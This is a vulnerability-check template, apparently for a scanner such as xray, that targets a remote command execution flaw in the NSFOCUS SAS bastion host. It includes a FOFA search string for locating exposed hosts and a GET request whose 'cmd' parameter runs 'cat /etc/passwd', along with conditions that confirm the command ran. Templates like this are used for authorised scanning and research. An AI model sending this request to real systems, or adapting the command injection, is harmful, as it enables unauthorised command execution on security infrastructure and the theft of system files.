nsfocus-sas-exec-rce: 绿盟 SAS堡垒机 Exec 远程命令执行漏洞

id: nsfocus-sas-exec-rce

info:
  name: 绿盟 SAS堡垒机 Exec 远程命令执行漏洞
  author: peiqi
  severity: high
  verified: true
  description: |
    绿盟 SAS堡垒机 Exec 远程命令执行漏洞
    FOFA: body="'/needUsbkey.php?username='"
  reference:
    - https://peiqi.wgpsec.org/wiki/webapp/绿盟/绿盟%20SAS堡垒机%20Exec%20远程命令执行漏洞.html
  tags: nsfocus
  created: 2023/08/10

rules:
  r0:
    request:
      method: GET
      path: /webconf/Exec/index?cmd=cat%20/etc/passwd
    expression: response.status == 200 && response.body.bcontains(b'<code>200</code>') && response.body.bcontains(b'WEBSVC OK')
expression: r0()